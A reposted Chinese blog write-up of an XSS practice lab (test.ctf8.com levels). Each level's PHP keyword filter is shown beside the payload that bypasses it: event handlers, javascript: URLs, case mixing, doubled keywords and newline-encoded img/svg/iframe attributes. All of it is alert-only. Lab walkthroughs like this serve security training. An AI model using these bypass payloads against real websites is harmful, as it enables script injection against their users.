标签:ado chm 输入 done name nim 任务 level script
http://test.ctf8.com/level1.php?name=<script>alert(‘123‘)</script>
1. </h2><center><script>window.alert()</script><h2 align=center>
2. "> <script>window.alert()</script>
‘> <script>window.alert()</script>
https://www.cnblogs.com/xishaonian/p/7196604.html
倘若是在script、input标签当中,即可突破。
Payload:
‘ oninput=alert(1) // 当要在input中输入内容时触发事件
‘ onchange=alert(1)// 发生改变的时候触发该事件
keyword=‘ onclick=window.alert()
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
https://www.cnblogs.com/lcyuhe/p/6409379.html
javascript:这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行
"><a href="javascript:alert(‘xss‘)">点击过关</a>
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
keyword="><ScRIpt>window.alert()</SCript>
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
keyword="><sscriptcript>window.alert()</sscriptcript>
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace(‘"‘,‘"‘,$str6);
payload: javascript:alert(1)
s转换为实体编码绕过
if(false===strpos($str7,‘http://‘))
{
echo ‘<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>‘;
}
javascript:alert(1)/*http://*/
t_sort=" onclick="alert()" type="text"
" onclick="alert()" type="text"
/level16.php?keyword=<img%0Dsrc=1%0Donerror=alert(1)>
keyword=<img%0asrc=1%0aonerror=alert(1)>
keyword=<img%0asrc=x%0donError=alert(‘xss‘)>
<iframe%0asrc=x%0donmouseover=alert`1`></iframe>
<svg%0aonload=alert`1`></svg>
?arg01=a&arg02=b%20onmouseout=alert(1)
标签:ado chm 输入 done name nim 任务 level script
原文地址:https://www.cnblogs.com/l0nmar/p/12819353.html